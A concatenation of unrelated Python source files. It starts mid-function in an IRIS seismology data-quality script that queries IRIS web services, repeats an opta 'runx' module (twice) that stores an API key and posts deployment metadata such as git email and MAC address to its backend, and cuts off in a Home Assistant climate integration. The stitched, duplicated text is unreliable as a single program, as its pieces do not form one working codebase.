'digitizer_clipping':'daily flag count \n(number of occurrences)',
'event_begin':'daily flag count \n(number of occurrences)',
'event_end':'daily flag count \n(number of occurrences)',
'event_in_progress':'daily flag count \n(number of occurrences)',
'feed_latency':'latency (seconds) \n',
'gap_list':'daily gap length \n(seconds)',
'glitches':'daily flag count \n(number of occurrences)',
'max_gap':'daily maximum gap length \n(seconds)',
'max_overlap':'daily overlap length \n(seconds)',
'max_range':'daily maximum amplitude range, \nwindowed (counts)',
'max_stalta':'daily \nshort-term average / long-term \naverage', # no units
'missing_padded_data':'daily flag count \n(number of occurrences)',
'num_gaps':'daily gap count \n(number of occurrences)',
'num_overlaps':'daily overlap count \n(number of occurrences)',
'num_spikes':'daily outlier count \n(number of occurrences)',
'pct_above_nhnm':'daily PDF matrix above \nNew High Noise Model (%)',
'pct_below_nlnm':'daily PDF matrix below \nNew Low Noise Model (%)',
'percent_availability':'daily availability (%) \n',
'polarity_check':'maximum cross-correlation \nfunction', # no units
'pressure_effects':'daily zero-lag \ncross-correlation function', # no units
'sample_max':'daily maximum amplitude \n(counts)',
'sample_mean':'daily mean amplitude \n(counts)',
'sample_median':'daily median amplitude \n(counts)',
'sample_min':'daily minimum amplitude \n(counts)',
'sample_rate_channel':'daily indicator \n',
'sample_rate_resp':'daily indicator \n',
'sample_rms':'daily root-mean-square variance (counts) \n',
'scale_corrected_sample_rms':'daily root-mean-squared variance,\nscaled by sensitivity',
'sample_snr':'signal-to-noise ratio \n', # no units
'sample_unique':'daily unique sample values \n(number of occurrences)',
'spikes':'daily flag count \n(number of occurrences)',
'suspect_time_tag':'daily flag count \n(number of occurrences)',
'telemetry_sync_error':'daily flag count \n(number of occurrences)',
'timing_correction':'daily flag count \n(number of occurrences)',
'timing_quality':'daily average timing quality (%) \n',
'total_latency':'latency (seconds) \n',
'ts_num_gaps':'daily gap count \n(number of occurrences)',
'ts_num_gaps_total':'gap count \n(number of occurrences)',
'ts_max_gap':'daily maximum gap length \n(seconds)',
'ts_max_gap_total':'maximum gap length \n(seconds)',
'ts_gap_length':'daily total gap length \n(seconds)',
'ts_gap_length_total':'total gap length (seconds) \n',
'ts_percent_availability':'daily availability (%) \n',
'ts_percent_availability_total':'availability (%) \n',
'ts_channel_up_time':'daily trace segment length \n(seconds)',
'ts_channel_continuity':'trace segment length (seconds) \n',
'gain_ratio':'data/metadata gain ratio', # no units
'phase_diff':'data-metadata phase difference \n(degrees)',
'ms_coherence':'coherence function \n', # no units
}
labelText = metricLabels[metric]
return labelText
| '''
:copyright:
Copyright (C) 2021 Laura Keyson, IRIS Data Management Center
:license:
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, either express or implied. See the License for the
specific language governing permissions and limitations
under the License.
'''
import requests
from io import StringIO
import pandas as pd
import numpy as np
import time
# from matplotlib.contour import ClabelText
import urllib
import re
def getAvailability(snclqs, startDate, endDate, tolerance, avtype):
availabilityDF = pd.DataFrame()
services = []
if avtype == '':
for snclq in snclqs:
snclqList = snclq.split('.')
n =snclqList[0]
s = snclqList[1]
l = snclqList[2]
if l == '':
luse = '--'
else:
luse = l
c = snclqList[3]
q = snclqList[4]
if q == "M":
service = "fdsnws"
elif q == "D":
service = "ph5ws"
if service not in services:
services.append(service)
URL = f'http://service.iris.edu/{service}/availability/1/query?format=text&' \
f'net={n}&sta={s}&loc={luse}&cha={c}&quality={q}&' \
f'starttime={startDate}&endtime={endDate}&orderby=nslc_time_quality_samplerate&' \
f'mergegaps={tolerance}&includerestricted=true&nodata=404'
try:
tmpDF = pd.read_csv(URL, sep=' ', dtype={'Location': str, 'Station': str}, parse_dates=['Earliest','Latest'])
tmpDF['staloc'] = f'{s}.{luse}'
availabilityDF = availabilityDF.append(tmpDF, ignore_index=True)
except Exception as e:
pass
elif avtype == 'extents':
# Don't loop over the stations unless necessary
nets = ','.join(list(set([n.split('.')[0] for n in snclqs])))
stas = ','.join(list(set([n.split('.')[1] for n in snclqs])))
stas = "*"
locs = ','.join(list(set([n.split('.')[2] for n in snclqs])))
if locs == "":
locs = '*'
chans = ','.join(list(set([n.split('.')[3] for n in snclqs])))
qs = ','.join(list(set([n.split('.')[4] for n in snclqs])))
if qs == 'D':
service = 'ph5ws'
elif qs == 'M':
service = 'fdsnws'
if service not in services:
services.append(service)
URL = f'http://service.iris.edu/{service}/availability/1/extent?format=text&' \
f'net={nets}&sta={stas}&loc={locs}&cha={chans}&quality={qs}&' \
f'starttime={startDate}&endtime={endDate}&orderby=nslc_time_quality_samplerate&' \
f'includerestricted=true&nodata=404'
# print("TEMP: URL\n%s" % URL)
try:
availabilityDF = pd.read_csv(URL, sep=' ', dtype={'Location': str, 'Station': str}, parse_dates=['Earliest','Latest'])
except:
print(" INFO: Unable to retrieve availability in one go, trying to loop over stations instead")
for snclq in snclqs:
snclqList = snclq.split('.')
n =snclqList[0]
s = snclqList[1]
l = snclqList[2]
if l == '':
luse = '--'
else:
luse = l
c = snclqList[3]
q = snclqList[4]
if q == "M":
service = "fdsnws"
elif q == "D":
service = "ph5ws"
if service not in services:
services.append(service)
URL = f'http://service.iris.edu/{service}/availability/1/extent?format=text&' \
f'net={n}&sta={s}&loc={luse}&cha={c}&quality={q}&' \
f'starttime={startDate}&endtime={endDate}&orderby=nslc_time_quality_samplerate&' \
f'&includerestricted=true&nodata=404'
try:
tmpDF = pd.read_csv(URL, sep=' ', dtype={'Location': str, 'Station': str}, parse_dates=['Earliest','Latest'])
tmpDF['staloc'] = f'{s}.{luse}'
availabilityDF = availabilityDF.append(tmpDF, ignore_index=True)
except:
pass
# availabilityDF = availabilityDF.apply(lambda x: x.str.strip() if x.dtype == "object" else x)
availabilityDF.rename(columns=lambda x: x.strip().lower(), inplace=True)
availabilityDF.rename(columns = {'#network': 'network'}, inplace=True)
return availabilityDF, services
def retrieveMetrics(URL, metric):
response = requests.get(URL)
tempDF = pd.read_csv(StringIO(response.text), header=1)
tempDF.rename(columns={'target':'snclq'}, inplace=True)
tempDF['target'] = tempDF['snclq'].apply(lambda x: '.'.join(x.split('.')[0:4]))
tempDF['station'] = tempDF['snclq'].apply(lambda x: '.'.join(x.split('.')[1:3])) ## Because "station" is really "station.location"
tempDF['station'] = [x + '--' if x.endswith('.') else x for x in tempDF['station'] ]
if (not metric == 'transfer_function') and (not metric == 'orientation_check'):
tempDF.rename(columns = {'value': metric}, inplace=True)
tempDF[metric] = tempDF[metric].map(float)
tempDF.drop('lddate', axis=1, inplace=True)
tempDF['start'] = pd.to_datetime(tempDF['start'])
tempDF['end'] = pd.to_datetime(tempDF['end'])
return tempDF
def addMetricToDF(metric, DF, network, stations, locations, channels, startDate, endDate):
if not (metric== 'ts_percent_availability_total' or metric == 'percent_availability'):
print(f" Retrieving {metric}")
chanList = list()
for chan in channels.split(','):
if len(chan) == 2:
# chan = f"{chan}Z,{chan}1"
chan = f"{chan}Z"
if chan == "*":
# chan = "??Z,??1"
chan = "??Z"
chanList.append(chan)
URL = f"http://service.iris.edu/mustang/measurements/1/query?metric={metric}&net={network}&" \
f"sta={','.join(stations)}&loc={','.join(locations)}&chan={','.join(chanList)}" \
f'&format=text&timewindow={startDate},{endDate}&nodata=404'
# # temporary
# if ('ts_' in metric):
# URL = f"http://mustangappbeta01.iris.washington.edu:8080/mustang/measurements/1/query?metric={metric}&net={network}&" \
# f"sta={','.join(stations)}&loc={','.join(locations)}&chan={','.join(chanList)}" \
# f'&format=text&timewindow={startDate},{endDate}&nodata=404'
try:
tempDF = retrieveMetrics(URL, metric)
except Exception as e:
if not metric== 'ts_percent_availability_total':
print(f" --> Unable to get measurements for {metric}, waiting 5 seconds and trying again")
print(f" {URL}")
# print(f" {e}")
time.sleep(5)
try:
tempDF = retrieveMetrics(URL, metric)
except:
if not metric== 'ts_percent_availability_total':
print(f" --> Still unable to get measurements for {metric}, bypassing" )
tempDF = pd.DataFrame()
if DF.empty:
DF = tempDF.copy()
else:
try:
DF = pd.merge(DF, tempDF, how='outer', left_on=['target','snclq', 'station', 'start', 'end'], right_on=['target','snclq','station', 'start', 'end'])
except:
print(f" ERROR: Something went wrong with the {metric}")
return DF
def getMetadata(network, stations, locations, channels, startDate, endDate, level):
# This one and getStations are almost redundant, except that they return at different
# levels. Merge into one function that also takes level as an input?
if level == 'channel':
stationDF = pd.DataFrame()
if level == 'station':
stationDF = pd.DataFrame(columns=['#Network', 'Station', 'Latitude' , 'Longitude' , 'Elevation' , 'SiteName' , 'StartTime' , 'EndTime'])
if level == 'network':
stationDF = pd.DataFrame(columns=['#Network',])
chanList = list()
for chan in channels.split(','):
if len(chan) == 2:
# chan = f"{chan}Z,{chan}1"
chan = f"{chan}Z"
if chan == "*":
# chan = "??Z,??1"
chan = "??Z"
chanList.append(chan)
try:
# Call Fed Catalog to know what service the network can be retrieved using.
print(" Calling on Fed Catalog")
fedURL = f"http://service.iris.edu/irisws/fedcatalog/1/query?" \
f"net={network}&sta={stations}&loc={locations}&cha={','.join(chanList)}&" \
f"starttime={startDate}&endtime={endDate}" \
f"&format=request&includeoverlaps=false"
try:
with urllib.request.urlopen(fedURL) as response:
html_content = response.read().decode('utf-8')
services = []
for ln in html_content.split('\n'):
if ln.startswith("STATIONSERVICE="):
serviceURL = ln.split('=')[1]
if 'iris' in serviceURL:
services.append(serviceURL)
except Exception as e:
print(" ERROR: unable to retrieve fed catalog information about where the data lives - %s\n%s " % (fedURL, e))
services = ['http://service.iris.edu/fdsnws/station/1/', 'http://service.iris.edu/ph5ws/station/1/']
for service in services:
# To prevent needing to know a priori where it's from, try both and only add if attempt is successful
# Most experiments are one-archive only, but some have been split in the past
try:
print(" Calling on Station Service")
stationURL = f"{service}query?" \
f"net={network}&sta={stations}&loc={locations}&cha={','.join(chanList)}&" \
f"starttime={startDate}&endtime={endDate}&level={level}" \
f"&format=text&includecomments=true&nodata=404"
if level == 'channel':
try:
tmpDF = pd.read_csv(stationURL, sep='|', dtype={' Location ': str, ' Station ': str})
tmpDF.rename(columns=lambda x: x.strip(), inplace=True)
tmpDF.rename(columns = {'#Network': 'Network'}, inplace=True)
tmpDF['Location'] = tmpDF.Location.replace(np.nan, '', regex=True)
tmpDF['Target'] = tmpDF[['Network', 'Station', 'Location','Channel']].apply(lambda x: '.'.join(x.map(str)), axis=1)
tmpDF.columns = tmpDF.columns.str.lower()
tmpDF['starttime'] = pd.to_datetime(tmpDF['starttime'])
tmpDF['endtime'] = pd.to_datetime(tmpDF['endtime'])
except Exception as e:
print(f" ERROR: Unable to retrieve channel information from {stationURL}")
elif level == 'station' or level == 'network':
try:
tmpDF = pd.read_csv(stationURL, sep='|')
tmpDF.rename(columns=lambda x: x.strip(), inplace=True)
except:
print(f" ERROR: Unable to retrieve metadata information from {stationURL}")
except:
tmpDF = pd.DataFrame()
stationDF = pd.concat([stationDF, tmpDF], ignore_index=True)
except:
print(" ERROR: Unable to retrieve metadata")
return stationDF
return stationDF
def retrieveExpectedPDFs(smallestNSLC, startDate, endDate):
URL = f'http://service.iris.edu/mustang/noise-pdf-browser/1/availability?target={smallestNSLC}?.*&starttime={startDate}&endtime={endDate}&interval=all'
# print(URL)
response = requests.get(URL)
if response.text.startswith("Error"):
# Wait 5 seconds and try again
print(f" --> Error retrieving list of expected PDFs for {smallestNSLC}, waiting 5 seconds and trying again")
time.sleep(5)
response = requests.get(URL)
if response.text.startswith("Error"):
print(f" --> Unable to retrieve PDF list for {smallestNSLC}")
# print(response.text)
expectedTargets = list()
# doing it this way so that this section will run if either the first or second attempt was successful
if not response.text.startswith("Error"):
expectedTargets = [x.split(',')[0] for x in response.text.split('\n') if not x == '']
return expectedTargets
def getPDF(target, startDate, endDate, spectPowerRange, imageDir):
plot_titlefont=20
plot_subtitlefont=18
plot_axisfont=16
plot_labelfont=18
plotArguments = f"plot.titlefont.size={plot_titlefont}&plot.subtitlefont.size={plot_subtitlefont}" \
f"&plot.axisfont.size={plot_axisfont}&plot.labelfont.size={plot_labelfont}"
URL = f"http://service.iris.edu/mustang/noise-pdf/1/query?target={target}&" \
f"starttime={startDate}&endtime={endDate}&format=plot&plot.interpolation=bicubic&nodata=404&" \
f"plot.power.min={spectPowerRange[0]}&plot.power.max={spectPowerRange[1]}&{plotArguments}"
response = requests.get(URL)
filename = (f"{imageDir}/{target}_PDF.png").replace('*','').replace('?','')
file = open(filename, "wb")
file.write(response.content)
file.close()
return filename
def getSpectrogram(target, startDate, endDate, spectPowerRange, spectColorPalette, imageDir):
powerRange = ','.join([str(x) for x in spectPowerRange])
plot_titlefont=20
plot_subtitlefont=18
plot_axisfont=16
plot_labelfont=18
plotArguments = f"plot.titlefont.size={plot_titlefont}&plot.subtitlefont.size={plot_subtitlefont}" \
f"&plot.axisfont.size={plot_axisfont}&plot.labelfont.size={plot_labelfont}"
URL = f"http://service.iris.edu/mustang/noise-spectrogram/1/query?target={target}&" \
f"starttime={startDate}&endtime={endDate}&output=power&format=plot&plot.color.palette={spectColorPalette}&" \
f"plot.powerscale.range={powerRange}&plot.horzaxis=time&plot.time.matchrequest=true&{plotArguments}&" \
f"plot.time.tickunit=auto&plot.time.invert=false&plot.powerscale.show=true&plot.powerscale.orientation=horz&nodata=404"
response = requests.get(URL)
filename = f"{imageDir}/{target}_spectrogram.png"
file = open(filename, "wb")
file.write(response.content)
file.close()
return filename
def getBoundsZoomLevel(bounds, mapDim):
"""
source: https://stackoverflow.com/questions/6048975/google-maps-v3-how-to-calculate-the-zoom-level-for-a-given-bounds
:param bounds: list of ne and sw lat/lon
:param mapDim: dictionary with image size in pixels
:return: zoom level to fit bounds in the visible area
"""
n_lat = bounds[0]
w_long = bounds[1]
s_lat = bounds[2]
e_long = bounds[3]
scale = 2 # adjustment to reflect MapBox base tiles are 512x512 vs. Google's 256x256
WORLD_DIM = {'height': 256 * scale, 'width': 256 * scale}
ZOOM_MAX = 16
ZOOM_MIN = 0.5
def latRad(lat):
sin = np.sin(lat * np.pi / 180)
radX2 = np.log((1 + sin) / (1 - sin)) / 2
return max(min(radX2, np.pi), -np.pi) / 2
def zoom(mapPx, worldPx, fraction):
return np.floor(np.log(mapPx / worldPx / fraction) / np.log(2))
latFraction = (latRad(n_lat) - latRad(s_lat)) / np.pi
lngDiff = e_long - w_long
lngFraction = ((lngDiff + 360) if lngDiff < 0 else lngDiff) / 360
latZoom = zoom(mapDim['height'], WORLD_DIM['height'], latFraction)
lngZoom = zoom(mapDim['width'], WORLD_DIM['width'], lngFraction)
return min(max(latZoom, lngZoom, ZOOM_MIN), ZOOM_MAX)
def getMetricLabel(metric):
metricLabels = {'amplifier_saturation':'daily flag count \n(number of occurrences)',
'calibration_signal':'daily flag count \n(number of occurrences)',
'clock_locked':'daily flag count \n(number of occurrences)',
'cross_talk':'correlation coefficient \n', # no units
'data_latency':'latency (seconds) \n',
'dc_offset':'daily indicator of likelihood of \nDC offset shift', # no units
'dead_channel_gsn':'indicator \n',
'dead_channel_lin':'standard deviation of residuals (dB) \n',
'digital_filter_charging':'daily flag count \n(number of occurrences)',
'digitizer_clipping':'daily flag count \n(number of occurrences)',
'event_begin':'daily flag count \n(number of occurrences)',
'event_end':'daily flag count \n(number of occurrences)',
'event_in_progress':'daily flag count \n(number of occurrences)',
'feed_latency':'latency (seconds) \n',
'gap_list':'daily gap length \n(seconds)',
'glitches':'daily flag count \n(number of occurrences)',
'max_gap':'daily maximum gap length \n(seconds)',
'max_overlap':'daily overlap length \n(seconds)',
'max_range':'daily maximum amplitude range, \nwindowed (counts)',
'max_stalta':'daily \nshort-term average / long-term \naverage', # no units
'missing_padded_data':'daily flag count \n(number of occurrences)',
'num_gaps':'daily gap count \n(number of occurrences)',
'num_overlaps':'daily overlap count \n(number of occurrences)',
'num_spikes':'daily outlier count \n(number of occurrences)',
'pct_above_nhnm':'daily PDF matrix above \nNew High Noise Model (%)',
'pct_below_nlnm':'daily PDF matrix below \nNew Low Noise Model (%)',
'percent_availability':'daily availability (%) \n',
'polarity_check':'maximum cross-correlation \nfunction', # no units
'pressure_effects':'daily zero-lag \ncross-correlation function', # no units
'sample_max':'daily maximum amplitude \n(counts)',
'sample_mean':'daily mean amplitude \n(counts)',
'sample_median':'daily median amplitude \n(counts)',
'sample_min':'daily minimum amplitude \n(counts)',
'sample_rate_channel':'daily indicator \n',
'sample_rate_resp':'daily indicator \n',
'sample_rms':'daily root-mean-square variance (counts) \n',
'scale_corrected_sample_rms':'daily root-mean-squared variance,\nscaled by sensitivity',
'sample_snr':'signal-to-noise ratio \n', # no units
'sample_unique':'daily unique sample values \n(number of occurrences)',
'spikes':'daily flag count \n(number of occurrences)',
'suspect_time_tag':'daily flag count \n(number of occurrences)',
'telemetry_sync_error':'daily flag count \n(number of occurrences)',
'timing_correction':'daily flag count \n(number of occurrences)',
'timing_quality':'daily average timing quality (%) \n',
'total_latency':'latency (seconds) \n',
'ts_num_gaps':'daily gap count \n(number of occurrences)',
'ts_num_gaps_total':'gap count \n(number of occurrences)',
'ts_max_gap':'daily maximum gap length \n(seconds)',
'ts_max_gap_total':'maximum gap length \n(seconds)',
'ts_gap_length':'daily total gap length \n(seconds)',
'ts_gap_length_total':'total gap length (seconds) \n',
'ts_percent_availability':'daily availability (%) \n',
'ts_percent_availability_total':'availability (%) \n',
'ts_channel_up_time':'daily trace segment length \n(seconds)',
'ts_channel_continuity':'trace segment length (seconds) \n',
'gain_ratio':'data/metadata gain ratio', # no units
'phase_diff':'data-metadata phase difference \n(degrees)',
'ms_coherence':'coherence function \n', # no units
}
labelText = metricLabels[metric]
return labelText
|
import os
import platform
import sys
from datetime import datetime
from typing import TYPE_CHECKING, Optional, Tuple
import boto3
import click
import requests
from botocore.config import Config
from getmac import get_mac_address
from git.config import GitConfigParser
from google.api_core.exceptions import NotFound
from google.cloud import secretmanager
from mypy_boto3_ssm.client import SSMClient
from modules.base import ModuleProcessor
from opta.constants import VERSION
from opta.core.gcp import GCP
from opta.exceptions import UserErrors
from opta.utils import logger
if TYPE_CHECKING:
from opta.layer import Layer
from opta.module import Module
if os.environ.get("OPTA_STAGING"):
OPTA_DOMAIN = "api.staging.runx.dev"
else:
OPTA_DOMAIN = "api.app.runx.dev"
class RunxProcessor(ModuleProcessor):
def __init__(self, module: "Module", layer: "Layer"):
if module.data["type"] != "runx":
raise Exception(f"The module {module.name} was expected to be of type runx")
self.user_id = GitConfigParser().get_value("user", "email", "no_user")
self.device_id = get_mac_address()
self.os_name = os.name
self.platform = platform.system()
self.os_version = platform.version()
super(RunxProcessor, self).__init__(module, layer)
def process(self, module_idx: int) -> None:
logger.debug("Checking for runx api key secret")
current_api_key = self.fetch_secret()
if current_api_key is None:
self.set_secret()
else:
self.fetch_jwt(current_api_key)
def fetch_secret(self) -> Optional[str]:
if self.layer.cloud == "aws":
return self._fetch_aws_secret()
elif self.layer.cloud == "google":
return self._fetch_gcp_secret()
else:
raise Exception("Can not handle secrets of type")
def _fetch_aws_secret(self) -> Optional[str]:
providers = self.layer.gen_providers(0)
region = providers["provider"]["aws"]["region"]
ssm_client: SSMClient = boto3.client("ssm", config=Config(region_name=region))
try:
parameter = ssm_client.get_parameter(
Name=f"/opta-{self.layer.get_env()}/runx-api-key", WithDecryption=True
)
return parameter["Parameter"]["Value"]
except ssm_client.exceptions.ParameterNotFound:
return None
def _fetch_gcp_secret(self) -> Optional[str]:
credentials, project_id = GCP.get_credentials()
sm_client = secretmanager.SecretManagerServiceClient(credentials=credentials)
name = f"projects/{project_id}/secrets/opta-{self.layer.get_env()}-runx-api-key/versions/1"
try:
# Access the secret version.
response = sm_client.access_secret_version(
request=secretmanager.AccessSecretVersionRequest({"name": name})
)
return response.payload.data.decode("UTF-8")
except NotFound:
return None
def set_secret(self) -> None:
while True:
value = click.prompt("Please enter your runx api key", type=click.STRING,)
try:
self.fetch_jwt(value)
except UserErrors:
logger.warn(
"The api key which you passed was invalid, please provide a valid api key from runx"
)
else:
break
if self.layer.cloud == "aws":
return self._set_aws_secret(value)
elif self.layer.cloud == "google":
return self._set_gcp_secret(value)
else:
raise Exception("Can not handle secrets of type")
def _set_aws_secret(self, secret: str) -> None:
providers = self.layer.gen_providers(0)
region = providers["provider"]["aws"]["region"]
ssm_client: SSMClient = boto3.client("ssm", config=Config(region_name=region))
ssm_client.put_parameter(
Name=f"/opta-{self.layer.get_env()}/runx-api-key",
Value=secret,
Type="SecureString",
)
def _set_gcp_secret(self, secret: str) -> None:
credentials, project_id = GCP.get_credentials()
sm_client = secretmanager.SecretManagerServiceClient(credentials=credentials)
sm_secret = sm_client.create_secret(
request=secretmanager.CreateSecretRequest(
{
"parent": f"projects/{project_id}",
"secret_id": f"opta-{self.layer.get_env()}-runx-api-key",
"secret": {"replication": {"automatic": {}}},
}
)
)
sm_client.add_secret_version(
request=secretmanager.AddSecretVersionRequest(
{"parent": sm_secret.name, "payload": {"data": secret.encode("utf-8")}}
)
)
def post_hook(self, module_idx: int, exception: Optional[Exception]) -> None:
api_key = self.fetch_secret()
if api_key is None:
raise Exception(
"The api key seems to have just disappeared from the secret storage"
)
validation_data, jwt = self.fetch_jwt(api_key)
is_environment = self.layer.parent is None
url_path = "/config/environments" if is_environment else "/config/services"
body = {
"org_id": validation_data["org_id"],
"name": self.layer.name,
"opta_version": VERSION,
"status": "SUCCESS" if exception is None else "FAILURE",
"spec": self.layer.original_spec,
"metadata": {
"user_id": self.user_id,
"device_id": self.device_id,
"os_name": self.os_name,
"platform": self.platform,
"os_version": self.os_version,
"active_variables": self.layer.variables,
"module_idx": module_idx,
"argv": sys.argv[:],
},
"time": datetime.utcnow().isoformat(),
}
if not is_environment:
body["environment_name"] = self.layer.parent.name # type: ignore
logger.debug("Sending layer deployment data over to opta backend")
resp = requests.post(
f"https://{OPTA_DOMAIN}{url_path}", json=body, headers={"opta": jwt}
)
if resp.status_code != 201:
raise Exception(
f"Invalid response when attempting to send data to backend: {resp.json()}"
)
def fetch_jwt(self, api_key: str) -> Tuple[dict, str]:
resp = requests.post(
f"https://{OPTA_DOMAIN}/user/apikeys/validate", json={"api_key": api_key}
)
if resp.status_code == 404:
raise UserErrors(
f"Looks like it was an invalid api key: {resp.json()["message"]}"
)
if resp.status_code != 200:
raise Exception(
f"Invalid response when attempting to validate the api token: {resp.json()}"
)
jwt = resp.headers.get("opta")
if jwt is None:
raise Exception(f"Got an invalid jwt back: {jwt}")
return resp.json(), jwt
| import os
import platform
import sys
from datetime import datetime
from typing import TYPE_CHECKING, Optional, Tuple
import boto3
import click
import requests
from botocore.config import Config
from getmac import get_mac_address
from git.config import GitConfigParser
from google.api_core.exceptions import NotFound
from google.cloud import secretmanager
from mypy_boto3_ssm.client import SSMClient
from modules.base import ModuleProcessor
from opta.constants import VERSION
from opta.core.gcp import GCP
from opta.exceptions import UserErrors
from opta.utils import logger
if TYPE_CHECKING:
from opta.layer import Layer
from opta.module import Module
if os.environ.get("OPTA_STAGING"):
OPTA_DOMAIN = "api.staging.runx.dev"
else:
OPTA_DOMAIN = "api.app.runx.dev"
class RunxProcessor(ModuleProcessor):
def __init__(self, module: "Module", layer: "Layer"):
if module.data["type"] != "runx":
raise Exception(f"The module {module.name} was expected to be of type runx")
self.user_id = GitConfigParser().get_value("user", "email", "no_user")
self.device_id = get_mac_address()
self.os_name = os.name
self.platform = platform.system()
self.os_version = platform.version()
super(RunxProcessor, self).__init__(module, layer)
def process(self, module_idx: int) -> None:
logger.debug("Checking for runx api key secret")
current_api_key = self.fetch_secret()
if current_api_key is None:
self.set_secret()
else:
self.fetch_jwt(current_api_key)
def fetch_secret(self) -> Optional[str]:
if self.layer.cloud == "aws":
return self._fetch_aws_secret()
elif self.layer.cloud == "google":
return self._fetch_gcp_secret()
else:
raise Exception("Can not handle secrets of type")
def _fetch_aws_secret(self) -> Optional[str]:
providers = self.layer.gen_providers(0)
region = providers["provider"]["aws"]["region"]
ssm_client: SSMClient = boto3.client("ssm", config=Config(region_name=region))
try:
parameter = ssm_client.get_parameter(
Name=f"/opta-{self.layer.get_env()}/runx-api-key", WithDecryption=True
)
return parameter["Parameter"]["Value"]
except ssm_client.exceptions.ParameterNotFound:
return None
def _fetch_gcp_secret(self) -> Optional[str]:
credentials, project_id = GCP.get_credentials()
sm_client = secretmanager.SecretManagerServiceClient(credentials=credentials)
name = f"projects/{project_id}/secrets/opta-{self.layer.get_env()}-runx-api-key/versions/1"
try:
# Access the secret version.
response = sm_client.access_secret_version(
request=secretmanager.AccessSecretVersionRequest({"name": name})
)
return response.payload.data.decode("UTF-8")
except NotFound:
return None
def set_secret(self) -> None:
while True:
value = click.prompt("Please enter your runx api key", type=click.STRING,)
try:
self.fetch_jwt(value)
except UserErrors:
logger.warn(
"The api key which you passed was invalid, please provide a valid api key from runx"
)
else:
break
if self.layer.cloud == "aws":
return self._set_aws_secret(value)
elif self.layer.cloud == "google":
return self._set_gcp_secret(value)
else:
raise Exception("Can not handle secrets of type")
def _set_aws_secret(self, secret: str) -> None:
providers = self.layer.gen_providers(0)
region = providers["provider"]["aws"]["region"]
ssm_client: SSMClient = boto3.client("ssm", config=Config(region_name=region))
ssm_client.put_parameter(
Name=f"/opta-{self.layer.get_env()}/runx-api-key",
Value=secret,
Type="SecureString",
)
def _set_gcp_secret(self, secret: str) -> None:
credentials, project_id = GCP.get_credentials()
sm_client = secretmanager.SecretManagerServiceClient(credentials=credentials)
sm_secret = sm_client.create_secret(
request=secretmanager.CreateSecretRequest(
{
"parent": f"projects/{project_id}",
"secret_id": f"opta-{self.layer.get_env()}-runx-api-key",
"secret": {"replication": {"automatic": {}}},
}
)
)
sm_client.add_secret_version(
request=secretmanager.AddSecretVersionRequest(
{"parent": sm_secret.name, "payload": {"data": secret.encode("utf-8")}}
)
)
def post_hook(self, module_idx: int, exception: Optional[Exception]) -> None:
api_key = self.fetch_secret()
if api_key is None:
raise Exception(
"The api key seems to have just disappeared from the secret storage"
)
validation_data, jwt = self.fetch_jwt(api_key)
is_environment = self.layer.parent is None
url_path = "/config/environments" if is_environment else "/config/services"
body = {
"org_id": validation_data["org_id"],
"name": self.layer.name,
"opta_version": VERSION,
"status": "SUCCESS" if exception is None else "FAILURE",
"spec": self.layer.original_spec,
"metadata": {
"user_id": self.user_id,
"device_id": self.device_id,
"os_name": self.os_name,
"platform": self.platform,
"os_version": self.os_version,
"active_variables": self.layer.variables,
"module_idx": module_idx,
"argv": sys.argv[:],
},
"time": datetime.utcnow().isoformat(),
}
if not is_environment:
body["environment_name"] = self.layer.parent.name # type: ignore
logger.debug("Sending layer deployment data over to opta backend")
resp = requests.post(
f"https://{OPTA_DOMAIN}{url_path}", json=body, headers={"opta": jwt}
)
if resp.status_code != 201:
raise Exception(
f"Invalid response when attempting to send data to backend: {resp.json()}"
)
def fetch_jwt(self, api_key: str) -> Tuple[dict, str]:
resp = requests.post(
f"https://{OPTA_DOMAIN}/user/apikeys/validate", json={"api_key": api_key}
)
if resp.status_code == 404:
raise UserErrors(
f"Looks like it was an invalid api key: {resp.json()['message']}"
)
if resp.status_code != 200:
raise Exception(
f"Invalid response when attempting to validate the api token: {resp.json()}"
)
jwt = resp.headers.get("opta")
if jwt is None:
raise Exception(f"Got an invalid jwt back: {jwt}")
return resp.json(), jwt
|
import asyncio
import json
import logging
from collections import OrderedDict
from datetime import timedelta
from functools import partial
from typing import Optional
import async_timeout
import homeassistant.helpers.config_validation as cv
import voluptuous as vol
from aiohttp import ClientSession
from homeassistant.components import climate
from homeassistant.components.climate import (ClimateEntity, PLATFORM_SCHEMA)
from homeassistant.components.climate.const import *
from homeassistant.const import *
from homeassistant.exceptions import PlatformNotReady
from homeassistant.helpers import aiohttp_client
from miio.exceptions import DeviceException
from .deps.miio_new import MiotDevice
import copy
from . import GenericMiotDevice, ToggleableMiotDevice, dev_info
from .deps.const import (
DOMAIN,
CONF_UPDATE_INSTANT,
CONF_MAPPING,
CONF_CONTROL_PARAMS,
CONF_CLOUD,
CONF_MODEL,
ATTR_STATE_VALUE,
ATTR_MODEL,
ATTR_FIRMWARE_VERSION,
ATTR_HARDWARE_VERSION,
SCHEMA,
MAP,
DUMMY_IP,
DUMMY_TOKEN,
)
TYPE = 'climate'
_LOGGER = logging.getLogger(__name__)
DEFAULT_NAME = "Generic MIoT " + TYPE
DATA_KEY = TYPE + '.' + DOMAIN
PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend(
SCHEMA
)
HVAC_MAPPING = {
HVAC_MODE_OFF: ['Off', 'Idle', 'None'],
HVAC_MODE_AUTO: ['Auto', 'Auto-tempature'],
HVAC_MODE_COOL: ['Cool'],
HVAC_MODE_HEAT: ['Heat'],
HVAC_MODE_DRY: ['Dry'],
HVAC_MODE_FAN_ONLY: ['Fan', 'Fan-tempature'],
HVAC_MODE_HEAT_COOL:['HeatCool'],
}
SWING_MAPPING = [
"Off",
"Vertical",
"Horizontal",
"Both"
]
SCAN_INTERVAL = timedelta(seconds=10)
# pylint: disable=unused-argument
@asyncio.coroutine
async def async_setup_platform(hass, config, async_add_devices, discovery_info=None):
"""Set up the sensor from config."""
if DATA_KEY not in hass.data:
hass.data[DATA_KEY] = {}
host = config.get(CONF_HOST)
token = config.get(CONF_TOKEN)
mapping = config.get(CONF_MAPPING)
params = config.get(CONF_CONTROL_PARAMS)
mappingnew = {}
main_mi_type = None
this_mi_type = []
for t in MAP[TYPE]:
if mapping.get(t):
this_mi_type.append(t)
